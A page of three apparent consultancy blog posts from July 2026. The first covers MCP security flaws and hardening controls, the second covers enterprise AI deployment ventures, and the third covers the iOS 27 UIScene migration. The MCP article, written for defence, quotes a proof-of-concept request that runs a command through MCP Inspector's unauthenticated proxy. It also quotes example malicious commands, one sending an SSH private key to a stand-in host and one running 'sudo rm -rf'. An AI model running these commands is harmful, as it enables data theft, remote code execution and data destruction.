"Versions of MCP Inspector below 0.14.1 are vulnerable to remote code execution due to lack of authentication between the Inspector client and proxy, allowing unauthenticated requests to launch MCP commands over stdio. Users should immediately upgrade to version 0.14.1 or later to address these vulnerabilities."

The attack works because MCP Inspector's proxy listened on port 6277 with no authentication, and its /sse endpoint accepted a command query parameter and an args parameter. A request shaped like this was enough:

http://0.0.0.0:6277/sse?transportType=stdio&command=touch&args=%2Ftmp%2Fexploited-from-the-browser

Any public web page running JavaScript could dispatch that request. The reason it reached a service on localhost is the 0.0.0.0-day flaw, a 19-year-old browser inconsistency in how requests to the private network are handled. Oligo Security documented it in 2024 and reported it still unpatched in major browsers as of 2025. Reading a blog post about MCP was enough to get exploited by one.

Anthropic's fix in 0.14.1 did two things: it added a session token to the proxy by default, following the pattern Jupyter uses, and it added allowed-origins verification, which closes the browser vector outright. Both changes are configuration-level. Neither required rearchitecting the protocol.

The lesson generalises. The controls that work here are authentication on local services, origin checking, and refusing to treat localhost as a trust boundary.

Why STDIO turns configuration into command execution

It helps to be exact about the trust assumption that breaks.

MCP's STDIO transport was designed so a client could spawn a local server process and talk to it over standard input and output. Spawning a process means running a command. The configuration file that names that command is therefore executable content, not data. Most teams do not treat it that way. They treat mcp.json or its equivalent the way they treat a .env file: something you edit, commit, sync, and occasionally accept from a marketplace.

The MCP specification's own security guidance is explicit about what that enables. It lists two example malicious startup commands:

# Data exfiltration
npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://example.com/evil-location

# Privilege escalation
sudo rm -rf /important/system/files && echo "MCP server installed!"

Neither is exotic. Both are what happens when a string in a config file reaches a shell. The specification's stated risks for local MCP servers are arbitrary code execution with client privileges, no user visibility into what runs, command obfuscation, data exfiltration, and irrecoverable data loss.

The real cost here is usually the trust model, not the code. A team that has internalised "config is data" will keep reintroducing this class of bug no matter how many packages it patches.

The configs that stop them

Everything below is drawn from the MCP specification's security best practices document. Where the specification says MUST, treat it as a gate in review, not a suggestion.

1. Reject any token not issued for your server

Token passthrough, where a server accepts a client's token and forwards it to a downstream API without checking the audience, is forbidden outright. The specification's language: MCP servers MUST NOT accept any tokens that were not explicitly issued for the MCP server.

The failure modes are worth naming because they are not obvious. Passed-through tokens bypass rate limiting and request validation that depend on audience claims. They break the audit trail, because the downstream resource server's logs show a different identity than the MCP server actually forwarding the call. And they make your server a data exfiltration proxy for anyone holding a stolen token.

Validate the token against your own authorization server. If you need downstream access, use a token exchange, not a relay.

2. Block the SSRF ranges before OAuth discovery runs

During OAuth metadata discovery, MCP clients fetch URLs supplied by the server: the resource_metadata URL from the WWW-Authenticate header, the authorization_servers URLs from the Protected Resource Metadata document, and the token_endpoint and authorization_endpoint from Authorization Server Metadata. A malicious server populates those with internal addresses.

The specification recommends blocking these ranges, per RFC 9728 Section 7.7:

# IPv4
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
127.0.0.0/8          # except explicit local development
169.254.0.0/16       # link-local, includes cloud metadata

# IPv6
fc00::/7
fe80::/10
::1                  # except explicit local development

169.254.169.254 is the one that costs you the most. It is the AWS, GCP and Azure instance metadata endpoint, and reaching it means IAM credentials leave the building.

Two cautions from the specification itself. First: avoid implementing IP validation by hand, because attackers use octal, hex and IPv4-mapped IPv6 encodings that custom parsers miss. Second: DNS-based validation has a time-of-check to time-of-use gap, so an attacker domain can resolve to a safe address during validation and an internal one during the request. Pin DNS results between check and use, and put an egress proxy in front of server-side deployments. The specification names Stripe's Smokescreen as an example of a proxy that prevents SSRF by design.

Enforce HTTPS for OAuth URLs in production, and allow http:// only for loopback during development, consistent with OAuth 2.1 Section 1.5.

3. Sandbox every local server, and show the command before running it

If your client supports one-click local server configuration, the specification says it MUST implement consent before executing commands. Concretely, the consent dialog must show the exact command without truncation, including arguments, identify it as a potentially dangerous operation that executes code, require explicit approval, and allow cancellation.

Beyond consent, the specification recommends highlighting dangerous patterns such as sudo, rm -rf, network operations and file access outside expected directories; warning that MCP servers run with the same privileges as the client; executing servers in a sandbox with minimal default privileges; and using platform-appropriate sandboxing such as containers or chroot.

For server authors intending local use: prefer the stdio transport to limit access to the client alone. If you must use HTTP, require an authorization token or use Unix domain sockets with restricted access.

4. Bind sessions to user identity, and never authenticate with them

Two rules, both MUST. Servers that implement authorization must verify all inbound requests. Servers must not use sessions for authentication.

Session IDs must be secure and non-deterministic, generated with a secure random number generator. The specification's concrete recommendation for storage and transport is to combine the session ID with information unique to the authorized user:

<user_id>:<session_id>

The reason is specific. If an attacker guesses a session ID, they still cannot impersonate another user, because the user ID is derived from the verified token rather than supplied by the client. This matters most when you run multiple stateful HTTP servers behind a shared queue, where an attacker can enqueue an event against Server B with a session ID that Server A will later poll and deliver to the client as a resumed response.

5. Validate OAuth authorization URLs by scheme

Malicious servers supply authorization URLs that clients open. Two things go wrong: a javascript: URL passed to window.open() gives the attacker script execution in the client's context, and a URL opened via a shell gives them command injection.

The specification requires clients to allow only http:// and https:// schemes, with http:// limited to loopback in development, and to reject javascript:, data:, file:, vbscript: and similar. Use allowlist validation rather than a blocklist. Do not use cmd.exe, sh or PowerShell to open URLs; use platform-specific, non-shell mechanisms.

Web-based clients should set Content Security Policy headers, at minimum script-src 'self' and default-src 'self'.

This control matters more than it looks, because XSS in a client chains into full compromise wherever a proxy spawns MCP servers as child processes: steal the proxy auth token from the client environment, make an authenticated request to the local proxy, and the proxy spawns your command believing it is a legitimate server.

6. Minimise scopes and challenge incrementally

Publishing every scope in scopes_supported and letting clients request them all is what turns a leaked token into lateral movement. The specification's guidance is a progressive model: start with a minimal set such as mcp:tools-basic covering low-risk discovery and read operations, then elevate through targeted WWW-Authenticate challenges carrying scope="..." when a privileged operation is first attempted.

The named anti-patterns are worth checking your implementation against: wildcard or omnibus scopes such as *, all or full-access; bundling unrelated privileges to preempt future prompts; returning the entire scope catalogue in every challenge; and treating claimed scopes in a token as sufficient without server-side authorization logic.

Control summary

Control	Specification level	Config or code change
Reject foreign-audience tokens	MUST NOT accept	Validate audience claim at the server; use token exchange downstream
Block private and link-local IPs	SHOULD block	Egress proxy plus RFC 9728 range denylist, DNS pinning
Consent before local server spawn	MUST implement	Show untruncated command; require explicit approval
Sandbox spawned servers	SHOULD implement	Container or chroot, minimal privileges, restricted filesystem
Non-deterministic session IDs	MUST use	Secure RNG; key as `<user_id>:<session_id>`
Reject dangerous URL schemes	MUST reject	Allowlist `http`/`https` only; no shell URL opening
Minimal initial scopes	SHOULD implement	`mcp:tools-basic` baseline; incremental `WWW-Authenticate` challenges

Who owns which control

A recurring source of unpatched risk is that client teams and server teams each assume the other handles a given check. The specification splits them explicitly.

Responsibility	MCP client	MCP server
Token audience validation	Request correctly scoped tokens	Reject tokens not issued for it
SSRF protection on discovery URLs	Blocks private ranges, pins DNS	Publishes only its own metadata
Consent before command execution	Shows exact command, requires approval	Documents expected startup command
Session security	Treats session ID as non-secret	Generates securely, binds to user ID
URL scheme validation	Rejects `javascript:`, `data:`, `file:`	Supplies only HTTPS authorization URLs

India-specific considerations

For Indian organisations the MCP question is not only technical. Under the Digital Personal Data Protection Act 2023, failure to maintain reasonable security safeguards attracts a penalty of up to ₹250 crore, and breach notification failures up to ₹200 crore. The Data Protection Board of India was established and the penalty framework became active in November 2025. The Consent Manager Framework becomes operational on 13 November 2026, and full compliance for data fiduciaries lands on 13 May 2027.

That timeline matters for MCP specifically. An agent with a compromised MCP server has the access the specification warns about: user data, internal databases, API keys, chat histories. If that agent touches personal data of Indian data principals, an RCE is a security-safeguards failure with a defined statutory ceiling, not just an engineering incident. Teams building on MCP through 2026 should treat the STDIO sandbox and the token audience check as part of their DPDP gap assessment, not as backlog items.

Our reading is that the November 2026 and May 2027 dates give Indian teams a genuine build window, and MCP hardening is cheaper to do now than to retrofit after the Consent Manager integration work starts.

For the wider picture on Indian data protection timelines, see our guide to DPDP compliance costs for Indian startups and the DPDP consent manager framework readiness checklist.

What to do this week

A short, ordered list beats a long one nobody finishes.

Inventory every MCP server your organisation runs, local and hosted. The OX Security count of 7,000 publicly accessible servers is a floor, not a ceiling, and most teams underestimate their own footprint.
Check MCP Inspector versions globally and inside each project's node_modules. Anything below 0.14.1 is vulnerable. Run npm list -g and upgrade with npm install -g "@modelcontextprotocol/inspector@^0.14.1".
Check for mcp-remote between 0.0.5 and 0.1.15. The fix landed in 0.1.16 on 17 June 2025.
Grep your agent stack for the projects in the CVE table above. LiteLLM, Bisheng and DocsGPT have patches. The rest were unpatched at disclosure on 20 April 2026, so verify current status before you assume.
Put an egress proxy in front of any server-side MCP client and deny the RFC 9728 ranges, starting with 169.254.169.254.
Audit for token passthrough. If any server forwards a client token downstream without validating the audience, that is a specification violation, not a design choice.
Sandbox local servers. Containers, minimal privileges, restricted filesystem access.
Block public IP access to MCP services, monitor tool invocations, treat external configuration input as untrusted, and install servers only from verified sources. These four are OX Security's own recommendations.

The pattern across all eight: assume the configuration is hostile and the localhost boundary is imaginary. Both assumptions have already been proven correct by CVE.

FAQ

What is the root cause of the 2026 MCP CVEs?

The STDIO transport in Anthropic's reference MCP SDK takes a command string from configuration and executes it when spawning a local server. If the command fails to create a STDIO server it still runs, returning an error afterwards. That single design decision propagated into Python, TypeScript, Java and Rust implementations alike.

How many MCP servers are affected?

OX Security's research published on 20 April 2026 identified more than 7,000 publicly accessible servers and software packages totalling over 150 million downloads. That figure counts internet-reachable instances and package downloads. It does not count private or internal deployments, so the real exposure for most organisations is larger than the published number.

Has Anthropic patched the underlying MCP flaw?

No. Anthropic declined to modify the protocol's architecture, describing the behaviour as expected, as reported by The Hacker News on 20 April 2026. Individual vendors including LiteLLM, Bisheng and DocsGPT have shipped patches. The shortcoming remains in the reference implementation, so developers inherit the code execution risk directly.

What was CVE-2025-49596 and is it fixed?

CVE-2025-49596 was a remote code execution flaw in MCP Inspector, scored CVSS 9.4 and published on 13 June 2025. The proxy on port 6277 had no authentication, so any web page could trigger commands. Anthropic fixed it in version 0.14.1 by adding a default session token and allowed-origins verification.

Does token passthrough actually break anything?

Yes, and the specification forbids it. A server that forwards an unvalidated client token bypasses rate limiting and request validation tied to audience claims, breaks the audit trail because downstream logs show the wrong identity, and lets anyone with a stolen token use your server as an exfiltration proxy. Validate audience, then exchange tokens.

Which IP ranges should an MCP client block?

Per RFC 9728 Section 7.7, block the private IPv4 ranges 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16, the loopback range 127.0.0.0/8, the link-local range 169.254.0.0/16, and the private IPv6 ranges fc00::/7 and fe80::/10. The link-local range matters most, because 169.254.169.254 is the AWS, GCP and Azure instance metadata endpoint that returns IAM credentials to whoever asks for them.

What do the MCP CVEs mean under India's DPDP Act?

Failure to maintain reasonable security safeguards carries a penalty of up to ₹250 crore, with breach notification failures up to ₹200 crore. The penalty framework has been active since November 2025. An MCP remote code execution touching personal data of Indian data principals is a safeguards failure with a defined statutory ceiling.

Is sandboxing enough on its own?

No. Sandboxing contains a compromised local server but does nothing about token passthrough, SSRF during OAuth discovery, or session hijacking across multiple stateful HTTP servers. The specification treats these as separate mitigations because they close separate attack paths. Apply the full control set rather than picking one.

How eCorpIT can help

eCorpIT builds and hardens AI agent platforms for teams running MCP in production, covering the controls above as configuration rather than documentation: token audience validation, egress policy, sandboxed local servers, and scope minimisation reviewed against the specification's MUST-level requirements. Our senior engineering teams work across Python, TypeScript and Java implementations, and we design applications aligned with DPDP Act requirements for Indian data fiduciaries. If you are running agents against internal databases and are not certain which of the 11 CVEs above touch your stack, an inventory and gap review is the sensible first step. Talk to us about an MCP security review.

References

Anthropic MCP Design Vulnerability Enables RCE, Threatening AI Supply Chain — The Hacker News, 20 April 2026.
Security Best Practices — Model Context Protocol specification.
Critical RCE Vulnerability in Anthropic MCP Inspector - CVE-2025-49596 — Oligo Security, 27 June 2025.
CVE-2025-49596 detail — NVD, National Institute of Standards and Technology.
MCP Inspector proxy server lacks authentication between the Inspector client and proxy — GitHub Advisory Database, CVE-2025-49596.
Critical mcp-remote Vulnerability Enables Remote Code Execution, Impacting 437,000+ Downloads — The Hacker News, July 2025.
mcp-remote exposed to OS command injection via untrusted MCP server connections — GitHub Advisory Database, CVE-2025-6514.
MCP by Design: RCE Across the AI Agent Ecosystem — Cloud Security Alliance research note on OX Security findings, 20 April 2026.
0.0.0.0 Day: Exploiting Localhost APIs From the Browser — Oligo Security.
MCP Inspector repository — Model Context Protocol, GitHub.
OAuth 2.0 Protected Resource Metadata, Section 7.7 — IETF RFC 9728.
India's DPDP Timeline: Critical Compliance Deadlines for 2026-27 — India Briefing.
MCP Transports specification — Model Context Protocol.

Last updated: 16 July 2026.

Microsoft's $2.5B Frontier bet: who should actually deploy your AI in 2026

Manu Shukla — Wed, 15 Jul 2026 19:12:37 +0000

Microsoft's $2.5B Frontier bet: who should actually deploy your AI in 2026

Summary. On July 2, 2026, Microsoft launched Microsoft Frontier Company, backing it with $2.5 billion and 6,000 industry and engineering experts to build and run AI systems inside customers' operations. It was the fifth such commitment in ten weeks. Anthropic announced a joint venture on May 4, 2026 valued at $1.5 billion; OpenAI followed on May 11 with The Deployment Company, which raised more than $4 billion from 19 investors; AWS committed $1 billion around June 30. Accenture, meanwhile, has 80,000 AI and data professionals and reported $11.5 billion in cumulative advanced AI bookings across 11,000 projects before it stopped disclosing the number. The collective bet is that the bottleneck in enterprise AI is no longer the model. It is the deployment. That diagnosis is correct. The buying decision it creates is harder than the vendors are making it sound, because for the first time your implementation partner and your model vendor can be the same company.

Disclosure before anything else: eCorpIT is a boutique partner. We are one of the options described below, which is exactly why this article gives you the questions to ask rather than an answer. Read the framework, not the recommendation.

What actually happened, in ten weeks

Forward-deployed engineering is not new. Palantir built a business on it. What is new is that the model vendors are now doing it themselves, at scale, with balance sheets behind it.

Venture	Commitment and scale	Announced
Microsoft Frontier Company	$2.5 billion, 6,000 industry and engineering experts, led by Rodrigo Kede Lima, most recently president of Microsoft Asia. Initial clients include Unilever and Novo Nordisk	July 2, 2026
AWS forward deployed engineering	$1 billion, seeded with "thousands" of FDEs in teams of roughly five or six. Early customers include Southwest Airlines, Cox Automotive, Ricoh, the NBA and the NFL	June 30, 2026
OpenAI, The Deployment Company	Raised over $4 billion from 19 investors, anchored by TPG with Advent International, Bain Capital and Brookfield as co-leads. Acquired consultancy Tomoro and about 150 FDEs	May 11, 2026
Ode with Anthropic	Valued at $1.5 billion, with a $300 million founding commitment split between Anthropic, Blackstone and Hellman & Friedman. Goldman Sachs a founding partner	May 4, 2026
Accenture	80,000 AI and data professionals. $11.5 billion cumulative advanced AI bookings, 11,000 projects, $4.8 billion revenue, advanced AI in 1,300 of 9,000 clients	Reporting discontinued after Q1 FY2026

Two things stand out. The first is speed: five commitments between May 4 and July 2, 2026. The second is the direction of travel. AWS was the first hyperscaler to move, and Microsoft answered within days with more than double the money.

The bottleneck they are all describing is real

The vendors are unusually candid about why they are doing this, and their diagnosis matches what buyers report.

Anthropic's CFO, Krishna Rao, put the supply problem plainly: "Enterprise demand for Claude is significantly outpacing any single delivery model." Blackstone's president and chief operating officer, Jon Gray, framed the venture as an attack on "one of the most significant bottlenecks to enterprise AI adoption", meaning the scarcity of engineers who can implement frontier systems quickly.

Accenture's chief executive, Julie Sweet, has been making the same argument from the other side of the table, and her version is the more useful one for a buyer because it names the actual work:

"Enterprise AI is fundamentally different than consumer AI. Consumer AI adoption is instant. In the enterprise, you can't adopt it unless you have the right security. You've done the right work around processes and most companies have fragmented and siloed processes. You have to have the right data and most companies have mountains of data with a lot of issues in the data, and we call it they have process debt, they have data debt. And of course, they need a modern digital core. And that's why so many companies are still early in the journey."

Then the number that should shape your budget more than any vendor commitment: Sweet said at least half of Accenture's advanced AI projects also require a data project. Not a model project. A data project.

That single statistic reframes the whole decision. If half your AI programme is data plumbing, then the question "whose engineers should deploy our AI" is downstream of a bigger one: who is going to fix the data, and do they have any incentive to tell you that the data is the problem?

The conflict nobody is putting on the slide

Here is the structural issue with the vendor-led model, stated neutrally.

When Microsoft Frontier engineers deploy AI in your business, they are excellent at deploying Microsoft's AI. When AWS FDEs arrive, the answer will be AWS-native and, in AWS's own framing, agentic-first. This is not a criticism of the engineers, who are likely to be very good. It is a description of the incentive. You are hiring your model vendor's implementation arm to evaluate whether your problem needs that vendor's model.

Some of these ventures have deliberately structured against this. AWS says deployments are built around shared goals and business outcomes rather than billable hours, and that customers should be self-sufficient when a deployment ends. That is a meaningful commitment and worth holding them to in writing. OpenAI's Deployment Company is majority-owned and controlled by OpenAI. Anthropic's venture brought in Blackstone, Hellman & Friedman and Goldman Sachs as outside partners, which dilutes but does not remove the alignment question.

The traditional systems integrator has the opposite profile. Accenture is model-neutral in a way Microsoft Frontier structurally cannot be, and it has 80,000 AI and data professionals plus the data-transformation capability that half of these projects turn out to need. The trade is that scale bundles. Sweet's own framing is that advanced AI is now "embedded in some way across nearly everything we do", which is why the company stopped breaking out the metric at all.

That disclosure change matters to you as a buyer, and it is worth being precise about it. Accenture was the first in its industry to report advanced AI bookings and revenue separately. Sweet announced that Q1 FY2026 would be the last quarter with those specific metrics:

"This will be the last quarter in which we share these specific metrics. The demand for AI is both real and rapidly maturing. We've now reached a point where advanced AI is being embedded in some way across nearly everything we do, and many of our clients are focusing on moving beyond standalone proof of concepts or initiatives."

The reasoning is defensible. The consequence is that the one public series that let outsiders track whether AI consulting was converting bookings into revenue has been switched off. In late 2023 the figure was $100 million across 100 projects. Two years later it was $11.5 billion across 11,000 projects with $4.8 billion of revenue. That is a real business. It is also now unobservable, which means your own pilot results are the only evidence you will get.

A decision framework that survives the pitch

Match the model to your actual constraint, not to the logo.

Your situation	The model that usually fits	Why
Committed to one model vendor's stack, need speed, have clean data	Vendor FDE team (Microsoft Frontier, AWS, OpenAI, Anthropic)	Deepest product knowledge, direct escalation into the vendor's engineering, fastest path when the answer genuinely is that stack
Multi-year transformation, messy data across many systems, regulated industry	Large systems integrator	Data and process work at scale, model neutrality, the capacity to run a five-year programme
One high-value workflow, deep domain rules, you intend to own it	Boutique or regional partner	Domain depth, senior attention on a small programme, and the knowledge transfers to your team
You do not yet know if AI is the right tool	None of them yet	Every option above is paid to conclude that it is. Do the diagnostic separately
Pilot worked, scaling stalled	Depends on why it stalled	If it stalled on data, you have a data problem. If it stalled on process, no engineer fixes that

The fourth row is the one people skip, and it is the cheapest advice in this article. Every organisation on that list, including ours, makes money when the answer is "yes, build it". If you have not separated the diagnostic from the delivery, you have outsourced the most consequential decision to the party with the least reason to say no.

The five questions to ask every one of them

Ask these in the room, and write the answers into the contract:

What happens when the right answer is a competitor's model, or no model at all? Ask for a specific example from the last year.
Who owns the code, the prompts, the evaluation suites and the fine-tuned artefacts when this ends?
What does self-sufficiency mean concretely? AWS says customers should be self-sufficient when a deployment ends. Ask each vendor to define the exit state and put a date on it.
Is the data work in scope or out of scope? Half of these programmes need it. If the proposal does not mention data, the proposal is incomplete or the cost is coming later.
Who exactly is on my team, and what happens to them in month seven? Six thousand experts is an organisation. Five people are your project.

The second question is where most of the value leaks. An implementation partner that keeps the evaluation harness keeps the ability to prove the system works, which is the same as keeping you.

What this means for India

Two implications for Indian enterprises and for teams building from India.

The economics of forward-deployed engineering do not survive contact with mid-market budgets. Microsoft's 6,000 experts and Accenture's 80,000 AI and data professionals are aimed at programmes that justify their cost, and the named early customers, Unilever, Novo Nordisk, Southwest Airlines and the NBA, tell you the target size. If your AI budget is ₹50 lakh rather than $50 million, none of the five ventures above is really selling to you, whatever the press release says. The realistic options are a domestic partner or your own team, and the useful part of this news is the model rather than the vendor: small senior teams, embedded, working on one workflow, measured on outcomes.

The second is governance. Embedding a vendor's engineers inside your operations means giving outside staff access to production systems and personal data. Under the Digital Personal Data Protection Act, 2023, the obligation for that data stays with you as the data fiduciary, not with the firm whose badge the engineer wears. Settle access scope, data residency and processing terms before anyone is embedded, not in month three. We design applications aligned with DPDP requirements, and this is the clause that gets negotiated last and matters first.

For the wider picture on where this spending sits, our enterprise generative AI strategy guide covers the build-versus-buy decision, and the OpenAI and Anthropic pricing analysis covers the model-cost side that these deployment deals sit on top of.

The honest read

The vendors have correctly identified that implementation, not model quality, is what separates a pilot from production. TechCrunch reported on July 15, 2026 that Anthropic and Blackstone are betting implementation is the next trillion-dollar AI business. They may well be right about the market.

That does not make any of them the right choice for you. The strongest argument in this entire news cycle is not Microsoft's $2.5 billion or OpenAI's $4 billion. It is Julie Sweet's throwaway line that at least half of advanced AI projects also require a data project, because it tells you that most of what you are about to buy is not AI work at all. Buy the diagnosis from someone who is not selling the cure.

FAQ

What is Microsoft Frontier Company?

Microsoft Frontier Company is an operating business Microsoft announced on July 2, 2026, backed by $2.5 billion and 6,000 industry and engineering experts. It embeds engineers inside customers to design, build, deploy and run AI systems using Microsoft's AI tools. It is led by Rodrigo Kede Lima, and initial clients include Unilever and Novo Nordisk.

What is a forward-deployed engineer?

A forward-deployed engineer is a technical employee a vendor sends to work inside a customer's operations, designing, building, deploying and running systems on-site rather than delivering from a distance. AWS staffs teams of roughly five or six engineers per customer. The model predates this AI cycle, but the model vendors have now industrialised it.

How much have AI vendors committed to deployment services in 2026?

Between May 4 and July 2, 2026, five commitments landed. Anthropic's joint venture is valued at $1.5 billion with a $300 million founding commitment, OpenAI's Deployment Company raised over $4 billion, AWS committed $1 billion, and Microsoft Frontier Company committed $2.5 billion with 6,000 experts.

Should we hire our model vendor's engineers to deploy our AI?

It depends on your constraint. Vendor teams offer the deepest product knowledge and direct escalation, which suits a committed stack, clean data and a need for speed. The structural issue is that they are paid to conclude their model is the answer. Separate the diagnostic from the delivery before you decide.

Why did Accenture stop reporting its AI numbers?

CEO Julie Sweet said Q1 FY2026 would be the last quarter for those specific metrics, because advanced AI is now "embedded in some way across nearly everything we do". Cumulative advanced AI bookings had reached $11.5 billion across 11,000 projects with $4.8 billion in revenue, up from $100 million across 100 projects in late 2023.

Is data the real bottleneck in enterprise AI?

According to Accenture, largely yes. Julie Sweet said at least half of the company's advanced AI projects also require a data project, and described clients as carrying "process debt" and "data debt". If a deployment proposal does not put data work in scope, either the proposal is incomplete or that cost arrives later.

Does this change anything for mid-market or Indian companies?

Not directly. The named early customers, including Unilever, Novo Nordisk, Southwest Airlines and the NBA, indicate the programme size these ventures target. What travels down-market is the operating model rather than the vendor: small senior teams, embedded, focused on one workflow, and measured on business outcomes instead of billable hours.

What should we put in the contract with a deployment partner?

Four things. Ownership of code, prompts, evaluation suites and fine-tuned artefacts at exit. A defined self-sufficiency state with a date. Whether data work is in or out of scope. Named individuals on your team and what happens to them mid-programme. The evaluation harness is the item most often retained by the vendor.

How eCorpIT can help

eCorpIT is a boutique partner, and this article is deliberate about what that means: we are a good fit for one high-value workflow with real domain rules, where you want senior engineers embedded and the knowledge left behind with your team, and a poor fit for a five-year, multi-country transformation. Our senior engineering teams have built and run production systems since 2021, and we will tell you when the answer is a data project rather than an AI project. If you want that diagnostic before you sign with anyone, including us, talk to our team.

References

Microsoft launches its own AI deployment company with $2.5 billion commitment - TechCrunch
Microsoft commits $2.5 billion and 6,000 employees to new AI implementation unit - CNBC
Microsoft unveils $2.5B Frontier Company to embed AI engineers inside customers - GeekWire
AWS invests $1 billion to embed AI forward deployed engineers with customers - About Amazon
AWS puts $1 billion into new AI unit to embed engineers with customers - CNBC
Amazon launches new $1 billion FDE org, following OpenAI and Anthropic - TechCrunch
Anthropic and OpenAI are both launching joint ventures for enterprise AI services - TechCrunch
Anthropic, Blackstone bet the next trillion-dollar AI business is implementation, not just models - TechCrunch
Accenture says advanced AI is so pervasive it won't break it out anymore - Larry Dignan, Constellation Research
Accenture's first quarter fiscal 2026 earnings press release - Accenture Investor Relations
Microsoft launches $2.5B Frontier Company for enterprise AI - Tech Wire Asia
AI giants pour billions into enterprise deployment - PYMNTS
What is a forward deployed engineer: the AI role OpenAI, Anthropic and Google are hiring in 2026 - MarkTechPost
The rise of the AI forward-deployed engineer - TechTarget
Digital Personal Data Protection Act, 2023 - Ministry of Electronics and Information Technology, Government of India
Digital Personal Data Protection Act, 2023 (No. 22 of 2023), official text - India Code

Last updated: July 16, 2026.

iOS 27 stops apps that skip UIScene: the API changes to fix before September

Manu Shukla — Wed, 15 Jul 2026 19:06:39 +0000

iOS 27 stops apps that skip UIScene: the API changes to fix before September

Summary. The iOS 27 public beta reached testers on July 13, 2026, and the general release is expected in September 2026. One change in this cycle is different from the rest, because it is no longer a warning. Apple's UIKit documentation states it plainly: "Beginning in iOS 27, iPadOS 27, Mac Catalyst 27, tvOS 27, and visionOS 27, apps built with the latest SDK must adopt the scene-based life cycle or they fail to launch." That has been a console message since iOS 18.4 and a louder one in iOS 26. In iOS 27 it is an assert. Alongside it, On Demand Resources and NSBundleResourceRequest are deprecated in favour of Background Assets, the original MetricKit APIs are no longer recommended for new adoption, and Xcode 27 ships Swift 6.4 while requiring macOS Tahoe 26.4 or later. Budget one to three engineer-days for the UIScene work on a typical UIKit app, roughly $400 to $1,200 (about ₹35,000 to ₹1,05,000) of senior time. The trap is that this is triggered by the SDK you build with, not the OS your users run.

That last point decides your timeline. Your shipping binary is fine. The next build you cut with Xcode 27 is the one that will not start.

This guide is about the code, not the devices. If you are planning the device and fleet side of the rollout, our iOS 27 enterprise rollout plan and the public beta readiness checklist cover that ground. Here we are dealing with what breaks inside your app.

The UIScene mandate is the whole story

Everything else in this release is scheduling. This one is a launch failure.

Apple has been escalating this warning for two years. Starting in iOS 18.4, iPadOS 18.4, Mac Catalyst 18.4, tvOS 18.4 and visionOS 2.4, UIKit logged this for apps that had not migrated:

This process does not adopt UIScene lifecycle.
This will become an assert in a future version.

In iOS 26 the wording hardened:

UIScene lifecycle will soon be required.
Failure to adopt will result in an assert in the future.

In iOS 27 the future arrived. Apps built against the new SDK that have not adopted scenes are stopped at launch. This is not theoretical, and it is not limited to hand-written UIKit apps. An unmodified Expo SDK 56 blank TypeScript app, prebuilt for iOS and compiled with Xcode 27.0 beta (build 27A5194q), dies on launch with a runtime assert:

Application failed to launch: UIScene life cycle is required for apps built with this SDK.
See Technote TN3187 for more information on migration.

The Expo issue was filed on June 8, 2026, accepted by the maintainers, and labelled as upstream React Native work. If your cross-platform toolchain generates the native iOS project for you, you are exposed to this through your framework rather than your own code, and the fix arrives on your framework's schedule. That is the part worth acting on this month.

Do you need to migrate?

Apple's criteria are precise. Migrate if either of these is true:

The UIApplicationSceneManifest key is missing from your information property list, or it has no specified configurations.
Your app delegate does not implement application(_:configurationForConnecting:options:).

One command answers the first question:

plutil -extract UIApplicationSceneManifest raw -o - ios/YourApp/Info.plist
# UIApplicationSceneManifest: missing   <- you need to migrate

If that prints "missing", your next Xcode 27 build will not launch. Run it today. It takes ten seconds and it is the single highest-value check in this article.

The fix

Add a UIApplicationSceneManifest key with a scene configuration to your information property list:

<key>UIApplicationSceneManifest</key>
<dict>
  <key>UIApplicationSupportsMultipleScenes</key>
  <false/>
  <key>UISceneConfigurations</key>
  <dict>
    <key>UIWindowSceneSessionRoleApplication</key>
    <array>
      <dict>
        <key>UISceneConfigurationName</key>
        <string>Default Configuration</string>
        <key>UISceneDelegateClassName</key>
        <string>$(PRODUCT_MODULE_NAME).SceneDelegate</string>
        <key>UISceneStoryboardFile</key>
        <string>Main</string>
      </dict>
    </array>
  </dict>
</dict>

If you build your root view controller in code rather than from a storyboard, implement scene(_:willConnectTo:options:) and move the window out of the app delegate:

import UIKit

class SceneDelegate: UIResponder, UIWindowSceneDelegate {
  var window: UIWindow?

  func scene(
    _ scene: UIScene,
    willConnectTo session: UISceneSession,
    options connectionOptions: UIScene.ConnectionOptions
  ) {
    guard let windowScene = scene as? UIWindowScene else { return }

    window = UIWindow(windowScene: windowScene)
    window?.rootViewController = YourRootViewController()
    window?.makeKeyAndVisible()
  }
}

Then move your life-cycle logic. Apple's mapping is one-to-one, and this table is the migration:

UIApplicationDelegate method	UISceneDelegate replacement	What usually lives here
`applicationDidBecomeActive(_:)`	`sceneDidBecomeActive(_:)`	Analytics session start, resuming timers and video
`applicationWillResignActive(_:)`	`sceneWillResignActive(_:)`	Pausing playback, hiding sensitive UI before the app switcher
`applicationDidEnterBackground(_:)`	`sceneDidEnterBackground(_:)`	Saving state, flushing caches, starting background tasks
`applicationWillEnterForeground(_:)`	`sceneWillEnterForeground(_:)`	Refreshing stale data, re-checking auth tokens
`application(_:didFinishLaunchingWithOptions:)`	Stays on the app delegate	Process-level setup only, not window creation

The last row is where teams get this wrong. The app delegate does not go away. The process still launches once and UIApplicationDelegate still handles it. What moves is anything that owns or touches the window, because life-cycle events now happen per scene rather than globally. If your didFinishLaunchingWithOptions creates a UIWindow, that code is the migration.

After migrating, test in Full Screen Apps, Windowed Apps, and Stage Manager on iPad. Scenes can background independently, so state-saving code that assumed one global background event now runs per scene.

The deprecations that are real, and the ones being overstated

Apple's iOS and iPadOS 27 beta 3 release notes are the source of record here. Several round-ups have inflated what they say, so this table tracks Apple's own wording.

Change in the iOS 27 SDK	Apple's wording	What to do
On Demand Resources and `NSBundleResourceRequest`	"are deprecated. Use Background Assets instead."	Plan the move to Background Assets. This is a real deprecation
Original MetricKit APIs (`MXMetricManager`, `MXMetricManagerSubscriber`, `MXMetricPayload`, `MXDiagnosticPayload`)	"no longer recommended for new adoption. Use MetricManager instead."	Not deprecated. Do not rewrite working telemetry this quarter. Use `MetricManager` for new code
Neural Engine background access	The system "now restricts background access to the Neural Engine, similar to GPU usage restrictions"	Test any background on-device inference. This can change behaviour silently
`calendar.deleteEvents` App Intents schema	"has been renamed to `calendar.deleteEvent`."	Rename it. A one-line fix that fails at runtime if missed
PencilKit `__PKStrokeRenderState`	Renamed to `PKStrokeRenderStateReference`	Only affects apps touching stroke render state directly
